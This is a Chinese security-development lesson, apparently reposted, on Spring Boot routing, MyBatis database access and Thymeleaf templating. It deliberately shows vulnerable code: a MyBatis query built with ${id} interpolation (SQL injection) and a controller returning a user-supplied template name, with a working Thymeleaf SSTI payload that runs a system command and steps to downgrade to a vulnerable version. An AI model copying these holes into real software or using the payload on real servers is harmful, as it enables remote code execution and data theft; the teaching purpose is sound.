038-安全開發(fā)-JavaEE應(yīng)用&SpringBoot框架&MyBatis注入&Thymeleaf模版
#知識點(diǎn):
1、JavaEE-SpringBoot-WebAPP&路由
2、JavaEE-SpringBoot-Mybatis&注入
3、JavaEE-SpringBoot-Thymeleaf&SSTI
演示案例:
?SpringBoot-Web應(yīng)用-路由響應(yīng)
?SpringBoot-數(shù)據(jù)庫應(yīng)用-Mybatis
?SpringBoot-模版引擎-Thymeleaf
Spring Boot是由Pivotal團(tuán)隊(duì)提供的一套開源框架,可以簡化spring應(yīng)用的創(chuàng)建及部署。它提供了豐富的Spring模塊化支持,可以幫助開發(fā)者更輕松快捷地構(gòu)建出企業(yè)級應(yīng)用。Spring Boot通過自動配置功能,降低了復(fù)雜性,同時(shí)支持基于JVM的多種開源框架,可以縮短開發(fā)時(shí)間,使開發(fā)更加簡單和高效。
#SpringBoot-Web應(yīng)用-路由響應(yīng)
參考:https://springdoc.cn/spring-boot/
1、路由映射:
-
@RequestMapping
,@GetMapping
, 和@PostMapping
注解用于定義HTTP請求的映射路徑。 -
**@RequestMapping
是通用注解,而@GetMapping
和@PostMapping
是其簡化形式,分別用于處理GET和POST請求。**
2、參數(shù)傳遞:
-
@RequestParam
注解用于從HTTP請求中提取參數(shù),使得控制器方法可以訪問并使用這些參數(shù)。
3、數(shù)據(jù)響應(yīng):
-
@RestController
注解用于標(biāo)識一個(gè)類是RESTful風(fēng)格的控制器,它包含了@ResponseBody
和@Controller
的功能。 -
@ResponseBody
表示方法的返回值將直接作為HTTP響應(yīng)體返回給客戶端。 -
@Controller
通常用于標(biāo)識傳統(tǒng)的MVC控制器,而@RestController
更適用于RESTful風(fēng)格的控制器。
創(chuàng)建SpringDemo項(xiàng)目
- 修改服務(wù)器URL:https://start.aliyun.com(速度更快版本更穩(wěn)定)
- 選擇Spring Web
- 創(chuàng)建cn.wusuowei.springdemo.controller.IndexController
- 代碼如下
- 以下是對
IndexController
類的分析:-
注解說明:
-
@RestController
注解表示這是一個(gè)控制器類,專門用于處理RESTful請求,同時(shí)它也包含了@ResponseBody
和@Controller
的功能。 - 使用
@RequestMapping
注解指定了類中所有方法的基本路徑,即這些方法的映射路徑的前綴。
-
-
GET請求處理:
-
getindex()
方法用于處理GET請求,映射路徑是 “/xiaodiget”。 -
get_g()
方法用于處理GET請求,映射路徑是 “/xiaodiget_g”,并且使用@RequestParam
注解來接收名為 “name” 的參數(shù)。
-
-
POST請求處理:
-
getpost()
方法用于處理POST請求,映射路徑是 “/xiaodipost”。 -
get_p()
方法用于處理POST請求,映射路徑同樣是 “/xiaodiget_g”,并且同樣使用@RequestParam
注解來接收名為 “name” 的參數(shù)。
-
-
注解的簡化形式:
- 在注釋中也提到了使用
@GetMapping
和@PostMapping
的簡化形式,這兩者分別等同于@RequestMapping
中指定了請求方法的注解。
- 在注釋中也提到了使用
-
注解說明:
package cn.wusuowei.springdemo.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.*;
@RestController
public class IndexController {
// 指定GET請求的訪問路由
@RequestMapping(value = "/xiaodiget", method = RequestMethod.GET)
//@GetMapping(value = "/xiaodiget")
public String getindex() {
return "get test";
}
// 指定POST請求的訪問路由
@RequestMapping(value = "/xiaodipost", method = RequestMethod.POST)
//@PostMapping(value = "/xiaodipost")
public String getpost() {
return "post test";
}
// 指定GET請求的訪問路由,帶參數(shù)名name
@RequestMapping(value = "/xiaodiget_g", method = RequestMethod.GET)
//@GetMapping(value = "/xiaodiget")
public String get_g(@RequestParam String name) {
return "get test" + name;
}
// 指定POST請求的訪問路由,帶參數(shù)名name
@RequestMapping(value = "/xiaodiget_g", method = RequestMethod.POST)
//@GetMapping(value = "/xiaodiget_g")
public String get_p(@RequestParam String name) {
return "post test" + name;
}
}
#SpringBoot-數(shù)據(jù)庫應(yīng)用-Mybatis
1、數(shù)據(jù)庫先創(chuàng)建需操作的數(shù)據(jù)
2、項(xiàng)目添加Mybatis&數(shù)據(jù)庫驅(qū)動
-pom.xml
<dependency>
<groupId>org.mybatis.spring.boot</groupId>
<artifactId>mybatis-spring-boot-starter</artifactId>
<version>2.2.2</version>
</dependency>
<dependency>
<groupId>com.mysql</groupId>
<artifactId>mysql-connector-j</artifactId>
<scope>runtime</scope>
</dependency>
3、項(xiàng)目配置數(shù)據(jù)庫連接信息
-application.yml
spring:
datasource:
url: jdbc:mysql://localhost:3306/demo01
username: root
password: 123456
driver-class-name: com.mysql.cj.jdbc.Driver
4、創(chuàng)建User類用來操作數(shù)據(jù)庫數(shù)據(jù)
package com.example.springbootmybatils.entity;
// 代表用戶實(shí)體的實(shí)體類
public class User {
private Integer id;
private String username;
private String password;
public Integer getId() {
return id;
}
public void setId(Integer id) {
this.id = id;
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
// 重寫 toString() 以便于日志記錄和調(diào)試
@Override
public String toString() {
return "User{" +
"id=" + id +
", username='" + username + '\'' +
", password='" + password + '\'' +
'}';
}
}
5、創(chuàng)建Mapper動態(tài)接口代理類實(shí)現(xiàn)
package com.example.springbootmybatils.mapper;
import com.example.springbootmybatils.entity.User;
import org.apache.ibatis.annotations.Insert;
import org.apache.ibatis.annotations.Mapper;
import org.apache.ibatis.annotations.Select;
import java.util.List;
@Mapper
public interface UserMapper {
// 根據(jù)提供的id選擇所有用戶的SQL查詢
@Select("select * from admin ")
public List<User> findAll(Integer id);
// 根據(jù)特定id選擇所有用戶的SQL查詢
@Select("select * from admin where id=1")
public List<User> findID();
}
6、創(chuàng)建Controller實(shí)現(xiàn)Web訪問調(diào)用
package com.example.springbootmybatils.controller;
import com.example.springbootmybatils.entity.User;
import com.example.springbootmybatils.mapper.UserMapper;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.util.List;
@RestController
public class GetadminController {
@Autowired
private UserMapper UserMapper;
// 根據(jù)用戶id檢索管理員數(shù)據(jù)的端點(diǎn)
@GetMapping("/getadmin")
public List<User> getadmindata(){
List<User> all = UserMapper.findAll();
return all;
}
@GetMapping("/getid")
public List<User> getadminid(){
List<User> all = UserMapper.findID();
return all;
}
}
遇到問題:8080端口被占用
解決方式:
-
netstat
命令用于顯示網(wǎng)絡(luò)連接、路由表和網(wǎng)絡(luò)接口信息。在Windows系統(tǒng)上,findstr
用于搜索指定的字符串或文本模式。如果你想查找在本地機(jī)器上占用8080端口的進(jìn)程,可以使用以下命令:
**netstat -ano | findstr "8080"**
這個(gè)命令的含義是:
-
netstat -ano
:顯示所有活動的網(wǎng)絡(luò)連接和監(jiān)聽端口,以及相關(guān)的進(jìn)程ID。 -
|
:管道符,將前一個(gè)命令的輸出傳遞給下一個(gè)命令。 -
findstr "8080"
:在前一個(gè)命令的輸出中查找包含字符串 “8080” 的行。
運(yùn)行這個(gè)命令后,你應(yīng)該能夠看到占用8080端口的進(jìn)程的信息,其中包括進(jìn)程ID(PID)。
-
-
taskkill
命令用于終止正在運(yùn)行的進(jìn)程。在你的命令中,/F
參數(shù)表示強(qiáng)制終止進(jìn)程,/PID
參數(shù)后面跟著的是進(jìn)程的PID(進(jìn)程標(biāo)識符)。如果你想終止PID為10056的進(jìn)程,你的命令是正確的。但請確保你有足夠的權(quán)限來終止這個(gè)進(jìn)程,因?yàn)槭褂?
/F
參數(shù)將會強(qiáng)制終止它,可能導(dǎo)致數(shù)據(jù)丟失或其他問題。**taskkill /F /PID 10056**
運(yùn)行這個(gè)命令后,系統(tǒng)會嘗試終止具有PID為10056的進(jìn)程。如果進(jìn)程存在,并且你有足夠的權(quán)限,它將被強(qiáng)制終止。
遇到問題:If you want an embedded database (H2, HSQL or Derby), please put it on the classpath.(SpringBoot連接數(shù)據(jù)庫)
原因:yml文件中的縮進(jìn)問題
解決:將每一行的縮進(jìn)調(diào)整好
安全危險(xiǎn):mybatis sql語句注入風(fēng)險(xiǎn)
@Mapper
public interface UserMapper {
**@Select("select * from admin where id like '%${id}%'")**
public List<User> findAll(Integer id);
@GetMapping("/getadmin")
public List<User> getadmindata(@RequestParam Integer id){
List<User> all = UserMapper.findAll(id);
return all;
}
#SpringBoot-模版引擎-Thymeleaf
-不安全的模版版本
日常開發(fā)中:語言切換頁面,主題更換等傳參導(dǎo)致的SSTI注入安全問題
漏洞參考:https://mp.weixin.qq.com/s/NueP4ohS2vSeRCdx4A7yOg
1、創(chuàng)建ThyremeafDemo項(xiàng)目
2、使用模板渲染,必須在resources目錄下創(chuàng)建templates存放html文件
index.html
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body >
<span th:text="${data}">小迪安全</span>
</body>
</html>
test.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>xiaodi</title>
</head>
<body>
xiaodisec
</body>
</html>
3、創(chuàng)建Controller實(shí)現(xiàn)Web訪問調(diào)用
//@Controller
@RestController
public class ThyremeafController {
@RequestMapping(value = "/index")
public String index(Model model) {
model.addAttribute("data","hello xiaodi");
//@RestController ResponseBody index當(dāng)做字符串顯示操作
//Controller 沒有ResponseBody index當(dāng)做資源文件去渲染
return "index";
}
@RequestMapping(value = "/test")
public String index() {
//@RestController ResponseBody index當(dāng)做字符串顯示操作
//Controller 沒有ResponseBody index當(dāng)做資源文件去渲染
return "test";
}
遇到問題:路徑訪問并沒有從模板渲染,而是當(dāng)成字符串顯示操作
原因:@RestController包含了 @ResponseBody
和 @Controller
的功能。@ResponseBody
index當(dāng)做字符串顯示操作
解決方式:更換為@Controller
沒有ResponseBody index當(dāng)做資源文件去渲染
安全問題:
日常開發(fā)中:語言切換頁面,主題更換等傳參導(dǎo)致的SSTI注入安全問題
例如:更換中英文頁面模板
1. 創(chuàng)建如下的控制器實(shí)現(xiàn)Web訪問調(diào)用,和渲染模板文件
ThyremeafController
.java
@Controller
//@RestController
public class ThyremeafController {
@RequestMapping(value = "/")
public String index(@RequestParam String lang) {
//@RestController ResponseBody index當(dāng)做字符串顯示操作
//Controller 沒有ResponseBody index當(dāng)做資源文件去渲染
return lang; //lang=en index-en
}
}
index-en.html
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
</body>
</html>
2. 啟動項(xiàng)目,并輸入對應(yīng)路由訪問,指向渲染文件的文件名?lang=index-en
http://127.0.0.1:8080/?lang=index-en
3.替換為注入[127.0.0.1:8080/?lang= %7bnew java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()%7d__::.x](http://127.0.0.1:8080/?lang=__ %7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d::.x)發(fā)現(xiàn)報(bào)錯(cuò)
原因:Thymeleaf版本問題
4.替換pom.xml整個(gè)文件,到對應(yīng)的漏洞版本再次注入
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.springframework</groupId>
<artifactId>java-spring-thymeleaf</artifactId>
<version>1.0</version>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<!--latest-->
<version>2.2.0.RELEASE</version>
</parent>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
</dependencies>
<properties>
<java.version>1.8</java.version>
</properties>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
成功注入:
遇到問題:更換pom后,有很多報(bào)錯(cuò)
解決:對應(yīng)使用idea中錯(cuò)誤解析,將報(bào)錯(cuò)的包一一添加類路徑中即可
文章來源:http://www.zghlxwxcb.cn/news/detail-837461.html
文章來源地址http://www.zghlxwxcb.cn/news/detail-837461.html
到了這里,關(guān)于038-安全開發(fā)-JavaEE應(yīng)用&SpringBoot框架&MyBatis注入&Thymeleaf模版的文章就介紹完了。如果您還想了解更多內(nèi)容,請?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!